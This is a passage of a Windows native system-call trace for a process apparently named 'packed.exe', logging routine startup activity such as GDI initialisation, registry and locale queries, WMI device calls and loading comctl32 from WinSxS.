 00357  1744   NtClose  (-2147481380, ... ) == 0x0
 00358  1744   NtQueryDefaultLocale  (0, -139347636, ... ) == 0x0
 00359  1744   NtGdiQueryFontAssocInfo  (0, ... ) == 0x0
 00360  1744   NtUserCallNoParam  (24, ... ) == 0x0
 00361  1744   NtGdiCreateCompatibleDC  (0, ...
 00362  1744   NtAllocateVirtualMemory  (-1, 0, 0, 4096, 12288, 4, ... 3407872, 4096, ) == 0x0
 00361  1744   NtGdiCreateCompatibleDC  ... ) == 0xf2010663
 00363  1744   NtGdiGetStockObject  (0, ... ) == 0x1900010
 00364  1744   NtGdiGetStockObject  (4, ... ) == 0x1900011
 00365  1744   NtGdiCreateBitmap  (8, 8, 1, 1, 2118200212, ... ) == 0xfd0505f7
 00366  1744   NtGdiCreateSolidBrush  (0, 0, ...
 00367  1744   NtAllocateVirtualMemory  (-1, 0, 0, 4096, 12288, 4, ... 3473408, 4096, ) == 0x0
 00366  1744   NtGdiCreateSolidBrush  ... ) == 0x4210057d
 00368  1744   NtGdiGetStockObject  (13, ... ) == 0x18a0021
 00369  1744   NtGdiCreateCompatibleDC  (0, ... ) == 0x69010363
 00370  1744   NtGdiSelectBitmap  (1761674083, -50002441, ... ) == 0x185000f
 00371  1744   NtUserGetThreadDesktop  (1744, 0, ... ) == 0x24
 00372  1744   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Windows"}, ... 44, ) }, ... 44, ) == 0x0
 00373  1744   NtQueryValueKey  (44,  (44, "AppInit_DLLs", Partial, 64, ... TitleIdx=0, Type=1, Data="\0\0"}, 14, ) , Partial, 64, ... TitleIdx=0, Type=1, Data= (44, "AppInit_DLLs", Partial, 64, ... TitleIdx=0, Type=1, Data="\0\0"}, 14, ) }, 14, ) == 0x0
 00374  1744   NtClose  (44, ... ) == 0x0
 00375  1744   NtUserFindExistingCursorIcon  (1241132, 1241148, 1241196, ... ) == 0x10011
 00376  1744   NtUserRegisterClassExWOW  (1241144, 1241212, 1241228, 1241244, 673, 128, 0, ... ) == 0x8172c017
 00377  1744   NtUserFindExistingCursorIcon  (1241132, 1241148, 1241196, ... ) == 0x10011
 00378  1744   NtUserRegisterClassExWOW  (1241144, 1241212, 1241228, 1241244, 674, 128, 0, ... ) == 0x8172c01c
 00379  1744   NtUserFindExistingCursorIcon  (1241132, 1241148, 1241196, ... ) == 0x10011
 00380  1744   NtUserRegisterClassExWOW  (1241144, 1241212, 1241228, 1241244, 675, 128, 0, ... ) == 0x8172c01e
 00381  1744   NtUserFindExistingCursorIcon  (1241132, 1241148, 1241196, ... ) == 0x10011
 00382  1744   NtUserRegisterClassExWOW  (1241144, 1241212, 1241228, 1241244, 676, 128, 0, ... ) == 0x81728002
 00383  1744   NtUserFindExistingCursorIcon  (1241132, 1241148, 1241196, ... ) == 0x10013
 00384  1744   NtUserRegisterClassExWOW  (1241144, 1241212, 1241228, 1241244, 677, 128, 0, ... ) == 0x8172c018
 00385  1744   NtUserFindExistingCursorIcon  (1241132, 1241148, 1241196, ... ) == 0x10011
 00386  1744   NtUserRegisterClassExWOW  (1241144, 1241212, 1241228, 1241244, 678, 128, 0, ... ) == 0x8172c01a
 00387  1744   NtUserFindExistingCursorIcon  (1241132, 1241148, 1241196, ... ) == 0x10011
 00388  1744   NtUserRegisterClassExWOW  (1241144, 1241212, 1241228, 1241244, 679, 128, 0, ... ) == 0x8172c01d
 00389  1744   NtUserFindExistingCursorIcon  (1241132, 1241148, 1241196, ... ) == 0x10011
 00390  1744   NtUserRegisterClassExWOW  (1241144, 1241212, 1241228, 1241244, 681, 128, 0, ... ) == 0x8172c026
 00391  1744   NtUserFindExistingCursorIcon  (1241132, 1241148, 1241196, ... ) == 0x10011
 00392  1744   NtUserRegisterClassExWOW  (1241144, 1241212, 1241228, 1241244, 680, 128, 0, ... ) == 0x8172c019
 00393  1744   NtUserRegisterClassExWOW  (1241096, 1241164, 1241180, 1241196, 0, 128, 0, ... ) == 0x8172c020
 00394  1744   NtUserRegisterClassExWOW  (1241352, 1241448, 1241432, 1241420, 0, 130, 0, ... ) == 0x8172c022
 00395  1744   NtUserRegisterClassExWOW  (1241096, 1241164, 1241180, 1241196, 0, 128, 0, ... ) == 0x8172c023
 00396  1744   NtUserRegisterClassExWOW  (1241352, 1241448, 1241432, 1241420, 0, 130, 0, ... ) == 0x8172c024
 00397  1744   NtUserRegisterClassExWOW  (1241096, 1241164, 1241180, 1241196, 0, 128, 0, ... ) == 0x8172c025
 00398  1744   NtCallbackReturn  (0, 0, 0, ...
 00399  1744   NtGdiInit  (... ) == 0x1
 00400  1744   NtGdiGetStockObject  (18, ... ) == 0x290001c
 00401  1744   NtGdiGetStockObject  (19, ... ) == 0x1b00019
 00402  1744   NtOpenKey  (0x2000000, {24, 16, 0x40, 0, 0,  (0x2000000, {24, 16, 0x40, 0, 0, "Software\Microsoft\Windows\CurrentVersion\Explorer\Performance"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00403  1744   NtOpenDirectoryObject  (0x2000f, {24, 0, 0x40, 0, 0,  (0x2000f, {24, 0, 0x40, 0, 0, "\BaseNamedObjects"}, ... 44, ) }, ... 44, ) == 0x0
 00404  1744   NtCreateSemaphore  (0x1f0003, {24, 44, 0x80, 1329368, 0,  (0x1f0003, {24, 44, 0x80, 1329368, 0, "shell.{A48F1A32-A340-11D1-BC6B-00A0C90312E1}"}, 0, 2147483647, ... 48, ) }, 0, 2147483647, ... 48, ) == STATUS_OBJECT_NAME_EXISTS
 00405  1744   NtQueryPerformanceCounter  (... {1114775867, 16}, {3579545, 0}, ) == 0x0
 00406  1744   NtQueryPerformanceCounter  (... {1114862667, 16}, {3579545, 0}, ) == 0x0
 00407  1744   NtAllocateVirtualMemory  (-1, 1331200, 0, 8192, 4096, 4, ... 1331200, 8192, ) == 0x0
 00408  1744   NtQuerySystemInformation  (Basic, 44, ... {Unknown=0,MaximumIncrement=156250,PhysicalPageSize=0x1000,NumberOfPhysicalPages=0xff7c,LowestPhysicalPage=0x1,HighestPhysicalPage=0xffff,AllocationGranularity=0x10000,LowestUserAddress=0x10000,HighestUserAddress=0x7ffeffff,ActiveProcessors=1,NumberProcessors=1,}, 0x0, ) == 0x0
 00409  1744   NtAllocateVirtualMemory  (-1, 0, 0, 1048576, 8192, 4, ... 9371648, 1048576, ) == 0x0
 00410  1744   NtAllocateVirtualMemory  (-1, 9371648, 0, 4096, 4096, 4, ... 9371648, 4096, ) == 0x0
 00411  1744   NtAllocateVirtualMemory  (-1, 9375744, 0, 8192, 4096, 4, ... 9375744, 8192, ) == 0x0
 00412  1744   NtCreateEvent  (0x1f0003, 0x0, 0, 0, ... 52, ) == 0x0
 00413  1744   NtCreateFile  (0xc0100080, {24, 0, 0x40, 0, 1242800,  (0xc0100080, {24, 0, 0x40, 0, 1242800, "\??\WMIDataDevice"}, 0x0, 128, 0, 1, 64, 0, 0, ... 56, {status=0x0, info=0}, ) }, 0x0, 128, 0, 1, 64, 0, 0, ... 56, {status=0x0, info=0}, ) == 0x0
 00414  1744   NtCreateEvent  (0x1f0003, 0x0, 1, 0, ... 60, ) == 0x0
 00415  1744   NtDeviceIoControlFile  (56, 60, 0x0, 0x12f710, 0x22414c,  (56, 60, 0x0, 0x12f710, 0x22414c, "X\367\22\0\0\0\0\0\1\0\0\0\2\0\0\0\24\0\0\0\34\0\0\0P\0\0\0\0\0\0\0L\0\0\0\0\0\0\0\2\0\0\0U\4\376\14\272\223\15D\243\376U9s\320\267#\0\20\10\0\0\0\0\0\0\0\0\0U\4\376\14\272\223\15D\243\376U9s\320\267#\0\0\10\0\0\0\0\0\0\0\0\0\2\0\0\0", 104, 80, ... , 104, 80, ...
 00416  1744   NtOpenKey  (0x82000000, {24, 0, 0x240, 0, 0,  (0x82000000, {24, 0, 0x240, 0, 0, "\Registry\Machine\System\CurrentControlSet\Control\WMI\Security"}, ... -2147481380, ) }, ... -2147481380, ) == 0x0
 00417  1744   NtQueryValueKey  (-2147481380,  (-2147481380, "DF8480A1-7492-4F45-AB78-1084642581FB", Full, 130, ... ) , Full, 130, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00418  1744   NtQueryValueKey  (-2147481380,  (-2147481380, "00000000-0000-0000-0000-000000000000", Full, 130, ... ) , Full, 130, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00419  1744   NtClose  (-2147481380, ... ) == 0x0
 00420  1744   NtClose  (2268, ... ) == 0x0
 00415  1744   NtDeviceIoControlFile  ... {status=0x0, info=80},  ... {status=0x0, info=80}, "\250\31g\341\0\0\0\0U\4\376\14\272\223\15D\243\376U9s\320\267#18\0\0\0\0\0\0\0\0\0\0\0\0\0\0\2\0\0\0U\4\376\14\272\223\15D\243\376U9s\320\267#\0\20\10\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", ) , ) == 0x0
 00421  1744   NtCreateFile  (0xc0100080, {24, 0, 0x40, 0, 1243016,  (0xc0100080, {24, 0, 0x40, 0, 1243016, "\??\WMIDataDevice"}, 0x0, 128, 0, 1, 64, 0, 0, ... 68, {status=0x0, info=0}, ) }, 0x0, 128, 0, 1, 64, 0, 0, ... 68, {status=0x0, info=0}, ) == 0x0
 00422  1744   NtCreateEvent  (0x1f0003, 0x0, 1, 0, ... 72, ) == 0x0
 00423  1744   NtDuplicateObject  (-1, -1, -1, 0x0, 0, 2, ... 76, ) == 0x0
 00424  1744   NtCreateEvent  (0x1f0003, 0x0, 1, 0, ... 80, ) == 0x0
 00425  1744   NtCreateEvent  (0x1f0003, 0x0, 1, 0, ... 84, ) == 0x0
 00426  1744   NtAllocateVirtualMemory  (-1, 9383936, 0, 8192, 4096, 4, ... 9383936, 8192, ) == 0x0
 00427  1744   NtAllocateVirtualMemory  (-1, 0, 0, 1048576, 8192, 4, ... 10420224, 1048576, ) == 0x0
 00428  1744   NtAllocateVirtualMemory  (-1, 11460608, 0, 8192, 4096, 4, ... 11460608, 8192, ) == 0x0
 00429  1744   NtProtectVirtualMemory  (-1, (0xaee000), 4096, 260, ... (0xaee000), 4096, 4, ) == 0x0
 00430  1744   NtCreateThread  (0x1f03ff, 0x0, -1, 1242100, 1242044, 1, ... 88, {1736, 868}, ) == 0x0
 00431  1744   NtQueryInformationThread  (88, Basic, 28, ... {ExitStatus=0x103,TebBaseAddress=0x7ffdd000,Pid=1736,Tid=868,}, 0x0, ) == 0x0
 00432  1744   NtRequestWaitReplyPort  (24, {28, 56, new_msg, 0, 0, 0, 0, 9372024}  (24, {28, 56, new_msg, 0, 0, 0, 0, 9372024} "\0\0\0\0\1\0\1\0\0\0\0\0(\2\0\0X\0\0\0\310\6\0\0d\3\0\0" ... {28, 56, reply, 0, 1736, 1744, 75495, 0} "\0\0\0\0\1\0\1\0\0\0\0\0(\2\0\0X\0\0\0\310\6\0\0d\3\0\0" )  ... {28, 56, reply, 0, 1736, 1744, 75495, 0}  (24, {28, 56, new_msg, 0, 0, 0, 0, 9372024} "\0\0\0\0\1\0\1\0\0\0\0\0(\2\0\0X\0\0\0\310\6\0\0d\3\0\0" ... {28, 56, reply, 0, 1736, 1744, 75495, 0} "\0\0\0\0\1\0\1\0\0\0\0\0(\2\0\0X\0\0\0\310\6\0\0d\3\0\0" )  ) == 0x0
 00433  1744   NtResumeThread  (88, ... 1, ) == 0x0
 00434  1744   NtClose  (88, ... ) == 0x0
 00435  1744   NtSetEvent  (72, ... 0x0, ) == 0x0
 00436   868   NtCreateEvent  (0x100003, 0x0, 1, 0, ... 88, ) == 0x0
 00437   868   NtWaitForSingleObject  (88, 0, 0x0, ...
 00438  1744   NtSetEvent  (52, ... 0x0, ) == 0x0
 00439  1744   NtClose  (52, ... ) == 0x0
 00440  1744   NtCreateEvent  (0x1f0003, 0x0, 0, 0, ... 52, ) == 0x0
 00441  1744   NtAllocateVirtualMemory  (-1, 9392128, 0, 4096, 4096, 4, ... 9392128, 4096, ) == 0x0
 00442  1744   NtDeviceIoControlFile  (56, 60, 0x0, 0x12f710, 0x22414c,  (56, 60, 0x0, 0x12f710, 0x22414c, "X\367\22\0\0\0\0\0\2\0\0\0\2\0\0\0\24\0\0\0\34\0\0\0P\0\0\0\0\0\0\0L\0\0\0\0\0\0\0\2\0\0\0\254\253\177yX{\226G\271$\325\21x\245\234\344\0\20\10\0\0\0\0\0\0\0\0\0\254\253\177yX{\226G\271$\325\21x\245\234\344\0\0\10\0\0\0\0\0\0\0\0\0\2\0\0\0", 104, 80, ... , 104, 80, ...
 00443  1744   NtOpenKey  (0x82000000, {24, 0, 0x240, 0, 0,  (0x82000000, {24, 0, 0x240, 0, 0, "\Registry\Machine\System\CurrentControlSet\Control\WMI\Security"}, ... -2147481380, ) }, ... -2147481380, ) == 0x0
 00444  1744   NtQueryValueKey  (-2147481380,  (-2147481380, "DF8480A1-7492-4F45-AB78-1084642581FB", Full, 130, ... ) , Full, 130, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00445  1744   NtQueryValueKey  (-2147481380,  (-2147481380, "00000000-0000-0000-0000-000000000000", Full, 130, ... ) , Full, 130, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00446  1744   NtClose  (-2147481380, ... ) == 0x0
 00447  1744   NtClose  (2268, ... ) == 0x0
 00442  1744   NtDeviceIoControlFile  ... {status=0x0, info=80},  ... {status=0x0, info=80}, " h\0\342\0\0\0\0\254\253\177yX{\226G\271$\325\21x\245\234\34434.0\0\0N\0\0\0\0\0\0\0\0\0\2\0\0\0\254\253\177yX{\226G\271$\325\21x\245\234\344\0\20\10\0\\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", ) , ) == 0x0
 00448  1744   NtSetEvent  (72, ... 0x0, ) == 0x0
 00449  1744   NtSetEvent  (52, ... 0x0, ) == 0x0
 00450  1744   NtClose  (52, ... ) == 0x0
 00451  1744   NtOpenThreadToken  (-2, 0x8, 0, ... ) == STATUS_NO_TOKEN
 00452  1744   NtOpenProcessToken  (-1, 0xa, ... 52, ) == 0x0
 00453  1744   NtDuplicateToken  (52, 0xc, {24, 0, 0x0, 0, 1243284, 0x0}, 0, 2, ... 96, ) == 0x0
 00454  1744   NtClose  (52, ... ) == 0x0
 00455  1744   NtAccessCheck  (1335152, 96, 0x1, 1243360, 1243412, 56, 1243392, ... (0x1), ) == 0x0
 00456  1744   NtClose  (96, ... ) == 0x0
 00457  1744   NtQueryDefaultUILanguage  (1242164, ...
 00458  1744   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 00459  1744   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... -2147481380, ) == 0x0
 00460  1744   NtQueryInformationToken  (-2147481380, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 00461  1744   NtClose  (-2147481380, ... ) == 0x0
 00462  1744   NtOpenKey  (0x2000000, {24, 0, 0x640, 0, 0,  (0x2000000, {24, 0, 0x640, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003"}, ... -2147481380, ) }, ... -2147481380, ) == 0x0
 00463  1744   NtOpenKey  (0x80000000, {24, -2147481380, 0x240, 0, 0,  (0x80000000, {24, -2147481380, 0x240, 0, 0, "Software\Policies\Microsoft\Control Panel\Desktop"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00464  1744   NtOpenKey  (0x80000000, {24, -2147481380, 0x640, 0, 0,  (0x80000000, {24, -2147481380, 0x640, 0, 0, "Control Panel\Desktop"}, ... -2147481388, ) }, ... -2147481388, ) == 0x0
 00465  1744   NtQueryValueKey  (-2147481388,  (-2147481388, "MultiUILanguageId", Partial, 256, ... ) , Partial, 256, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00466  1744   NtClose  (-2147481388, ... ) == 0x0
 00467  1744   NtClose  (-2147481380, ... ) == 0x0
 00457  1744   NtQueryDefaultUILanguage  ... ) == 0x0
 00468  1744   NtOpenFile  (0x1200a9, {24, 0, 0x40, 0, 0,  (0x1200a9, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\WININET.dll.123.Manifest"}, 1, 96, ... ) }, 1, 96, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00469  1744   NtQueryDefaultUILanguage  (2090319928, ...
 00470  1744   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 00471  1744   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... -2147481380, ) == 0x0
 00472  1744   NtQueryInformationToken  (-2147481380, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 00473  1744   NtClose  (-2147481380, ... ) == 0x0
 00474  1744   NtOpenKey  (0x2000000, {24, 0, 0x640, 0, 0,  (0x2000000, {24, 0, 0x640, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003"}, ... -2147481380, ) }, ... -2147481380, ) == 0x0
 00475  1744   NtOpenKey  (0x80000000, {24, -2147481380, 0x240, 0, 0,  (0x80000000, {24, -2147481380, 0x240, 0, 0, "Software\Policies\Microsoft\Control Panel\Desktop"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00476  1744   NtOpenKey  (0x80000000, {24, -2147481380, 0x640, 0, 0,  (0x80000000, {24, -2147481380, 0x640, 0, 0, "Control Panel\Desktop"}, ... -2147481388, ) }, ... -2147481388, ) == 0x0
 00477  1744   NtQueryValueKey  (-2147481388,  (-2147481388, "MultiUILanguageId", Partial, 256, ... ) , Partial, 256, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00478  1744   NtClose  (-2147481388, ... ) == 0x0
 00479  1744   NtClose  (-2147481380, ... ) == 0x0
 00469  1744   NtQueryDefaultUILanguage  ... ) == 0x0
 00480  1744   NtQueryInstallUILanguage  (2090319930, ... ) == 0x0
 00481  1744   NtQueryDefaultLocale  (1, 1240260, ... ) == 0x0
 00482  1744   NtOpenFile  (0x1200a9, {24, 0, 0x40, 0, 0,  (0x1200a9, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\WININET.dll.123.Config"}, 1, 96, ... ) }, 1, 96, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00483  1744   NtRequestWaitReplyPort  (24, {128, 156, new_msg, 0, 2088850039, 1241296, 1179817, 1241020}  (24, {128, 156, new_msg, 0, 2088850039, 1241296, 1179817, 1241020} "\210\6$\1\33\0\1\0`\0\0\0\0\0\0\0\1\0\0\0\0\0\11\4\1\1\1\0>\0@\0\250\6$\1\0\0\0\0\377\377\377\377\0\0\0\0PR\313B\0\0\0\0\370\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0(\0,\0\350\6$\1\0\0\0\0\0\0\0\0\304\364\22\0\0\0\0\0" ... {128, 156, reply, 0, 1736, 1744, 75496, 0} "\300\270\26\0\33\0\1\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\11\4\1\1\1\0>\0@\0\250\6$\1\0\0\0\0\377\377\377\377\0\0\0\0PR\313B\0\0\0\0\370\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0(\0,\0\350\6$\1\0\0\0\0\0\0\0\0\304\364\22\0\0\0\0\0" )  ... {128, 156, reply, 0, 1736, 1744, 75496, 0}  (24, {128, 156, new_msg, 0, 2088850039, 1241296, 1179817, 1241020} "\210\6$\1\33\0\1\0`\0\0\0\0\0\0\0\1\0\0\0\0\0\11\4\1\1\1\0>\0@\0\250\6$\1\0\0\0\0\377\377\377\377\0\0\0\0PR\313B\0\0\0\0\370\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0(\0,\0\350\6$\1\0\0\0\0\0\0\0\0\304\364\22\0\0\0\0\0" ... {128, 156, reply, 0, 1736, 1744, 75496, 0} "\300\270\26\0\33\0\1\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\11\4\1\1\1\0>\0@\0\250\6$\1\0\0\0\0\377\377\377\377\0\0\0\0PR\313B\0\0\0\0\370\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0(\0,\0\350\6$\1\0\0\0\0\0\0\0\0\304\364\22\0\0\0\0\0" )  ) == 0x0
 00484  1744   NtQueryDebugFilterState  (53, 2, ... ) == 0x0
 00485  1744   NtOpenKey  (0x8, {24, 0, 0x40, 0, 0,  (0x8, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows\CurrentVersion\SideBySide\AssemblyStorageRoots"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00486  1744   NtQueryDebugFilterState  (53, 2, ... ) == 0x0
 00487  1744   NtQueryDebugFilterState  (53, 2, ... ) == 0x0
 00488  1744   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\u:\work\packed.exe.Local\"}, 1239488, ... ) }, 1239488, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00489  1744   NtQueryDebugFilterState  (53, 2, ... ) == 0x0
 00490  1744   NtQueryDebugFilterState  (53, 2, ... ) == 0x0
 00491  1744   NtQueryDebugFilterState  (53, 2, ... ) == 0x0
 00492  1744   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2982_x-ww_ac3f9c03"}, 1239552, ... ) }, 1239552, ... ) == 0x0
 00493  1744   NtOpenFile  (0x100020, {24, 0, 0x40, 0, 0,  (0x100020, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2982_x-ww_ac3f9c03"}, 3, 33, ... 96, {status=0x0, info=1}, ) }, 3, 33, ... 96, {status=0x0, info=1}, ) == 0x0
 00494  1744   NtQueryDebugFilterState  (53, 2, ... ) == 0x0
 00495  1744   NtOpenFile  (0x100020, {24, 0, 0x40, 0, 0,  (0x100020, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2982_x-ww_ac3f9c03\comctl32.dll"}, 5, 96, ... 52, {status=0x0, info=1}, ) }, 5, 96, ... 52, {status=0x0, info=1}, ) == 0x0
 00496  1744   NtCreateSection  (0xe, 0x0, 0x0, 16, 134217728, 52, ... 100, ) == 0x0
 00497  1744   NtClose  (52, ... ) == 0x0
 00498  1744   NtMapViewOfSection  (100, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 16, ... (0xaf0000), 0x0, 1056768, ) == 0x0
 00499  1744   NtClose  (100, ... ) == 0x0
 00500  1744   NtUnmapViewOfSection  (-1, 0xaf0000, ... ) == 0x0
 00501  1744   NtOpenFile  (0x100020, {24, 0, 0x40, 0, 0,  (0x100020, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2982_x-ww_ac3f9c03\comctl32.dll"}, 5, 96, ... 100, {status=0x0, info=1}, ) }, 5, 96, ... 100, {status=0x0, info=1}, ) == 0x0
 00502  1744   NtCreateSection  (0xf, 0x0, 0x0, 16, 16777216, 100, ... 52, ) == 0x0
 00503  1744   NtQuerySection  (52, Image, 48, ... {section info, class 1, size 48}, 0x0, ) == 0x0
 00504  1744   NtClose  (100, ... ) == 0x0
 00505  1744   NtMapViewOfSection  (52, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x773d0000), 0x0, 1060864, ) == 0x0
 00506  1744   NtClose  (52, ... ) == 0x0
 00507  1744   NtProtectVirtualMemory  (-1, (0x773d1000), 1924, 4, ... (0x773d1000), 4096, 32, ) == 0x0
 00508  1744   NtProtectVirtualMemory  (-1, (0x773d1000), 4096, 32, ... (0x773d1000), 4096, 4, ) == 0x0
 00509  1744   NtFlushInstructionCache  (-1, 2000490496, 1924, ... ) == 0x0
 00510  1744   NtProtectVirtualMemory  (-1, (0x773d1000), 1924, 4, ... (0x773d1000), 4096, 32, ) == 0x0
 00511  1744   NtProtectVirtualMemory  (-1, (0x773d1000), 4096, 32, ... (0x773d1000), 4096, 4, ) == 0x0
 00512  1744   NtFlushInstructionCache  (-1, 2000490496, 1924, ... ) == 0x0
 00513  1744   NtProtectVirtualMemory  (-1, (0x773d1000), 1924, 4, ... (0x773d1000), 4096, 32, ) == 0x0
 00514  1744   NtProtectVirtualMemory  (-1, (0x773d1000), 4096, 32, ... (0x773d1000), 4096, 4, ) == 0x0
 00515  1744   NtFlushInstructionCache  (-1, 2000490496, 1924, ... ) == 0x0
 00516  1744   NtProtectVirtualMemory  (-1, (0x773d1000), 1924, 4, ... (0x773d1000), 4096, 32, ) == 0x0
 00517  1744   NtProtectVirtualMemory  (-1, (0x773d1000), 4096, 32, ... (0x773d1000), 4096, 4, ) == 0x0
 00518  1744   NtFlushInstructionCache  (-1, 2000490496, 1924, ... ) == 0x0
 00519  1744   NtProtectVirtualMemory  (-1, (0x773d1000), 1924, 4, ... (0x773d1000), 4096, 32, ) == 0x0
 00520  1744   NtProtectVirtualMemory  (-1, (0x773d1000), 4096, 32, ... (0x773d1000), 4096, 4, ) == 0x0
 00521  1744   NtFlushInstructionCache  (-1, 2000490496, 1924, ... ) == 0x0
 00522  1744   NtProtectVirtualMemory  (-1, (0x773d1000), 1924, 4, ... (0x773d1000), 4096, 32, ) == 0x0
 00523  1744   NtProtectVirtualMemory  (-1, (0x773d1000), 4096, 32, ... (0x773d1000), 4096, 4, ) == 0x0
 00524  1744   NtFlushInstructionCache  (-1, 2000490496, 1924, ... ) == 0x0
 00525  1744   NtProtectVirtualMemory  (-1, (0x773d1000), 1924, 4, ... (0x773d1000), 4096, 32, ) == 0x0
 00526  1744   NtProtectVirtualMemory  (-1, (0x773d1000), 4096, 32, ... (0x773d1000), 4096, 4, ) == 0x0
 00527  1744   NtFlushInstructionCache  (-1, 2000490496, 1924, ... ) == 0x0
 00528  1744   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\comctl32.dll"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00529  1744   NtAddAtom  ( ("T\0h\0e\0m\0e\0P\0r\0o\0p\0S\0c\0r\0o\0l\0l\0B\0a\0r\0C\0t\0l\0", 42, 1241032, ... ) , 42, 1241032, ... ) == 0x0
 00530  1744   NtQueryDefaultUILanguage  (1239716, ...
 00531  1744   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 00532  1744   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... -2147481380, ) == 0x0
 00533  1744   NtQueryInformationToken  (-2147481380, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 00534  1744   NtClose  (-2147481380, ... ) == 0x0
 00535  1744   NtOpenKey  (0x2000000, {24, 0, 0x640, 0, 0,  (0x2000000, {24, 0, 0x640, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003"}, ... -2147481380, ) }, ... -2147481380, ) == 0x0
 00536  1744   NtOpenKey  (0x80000000, {24, -2147481380, 0x240, 0, 0,  (0x80000000, {24, -2147481380, 0x240, 0, 0, "Software\Policies\Microsoft\Control Panel\Desktop"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00537  1744   NtOpenKey  (0x80000000, {24, -2147481380, 0x640, 0, 0,  (0x80000000, {24, -2147481380, 0x640, 0, 0, "Control Panel\Desktop"}, ... -2147481388, ) }, ... -2147481388, ) == 0x0
 00538  1744   NtQueryValueKey  (-2147481388,  (-2147481388, "MultiUILanguageId", Partial, 256, ... ) , Partial, 256, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00539  1744   NtClose  (-2147481388, ... ) == 0x0
 00540  1744   NtClose  (-2147481380, ... ) == 0x0
 00530  1744   NtQueryDefaultUILanguage  ... ) == 0x0
 00541  1744   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\WindowsShell.Manifest"}, 1238556, ... ) }, 1238556, ... ) == 0x0
 00542  1744   NtOpenFile  (0x100020, {24, 0, 0x40, 0, 0,  (0x100020, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\WindowsShell.Manifest"}, 5, 96, ... 52, {status=0x0, info=1}, ) }, 5, 96, ... 52, {status=0x0, info=1}, ) == 0x0
 00543  1744   NtCreateSection  (0xe, 0x0, 0x0, 16, 134217728, 52, ... 100, ) == 0x0
 00544  1744   NtClose  (52, ... ) == 0x0
 00545  1744   NtMapViewOfSection  (100, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 16, ... (0x370000), 0x0, 4096, ) == 0x0
 00546  1744   NtClose  (100, ... ) == 0x0
 00547  1744   NtUnmapViewOfSection  (-1, 0x370000, ... ) == 0x0
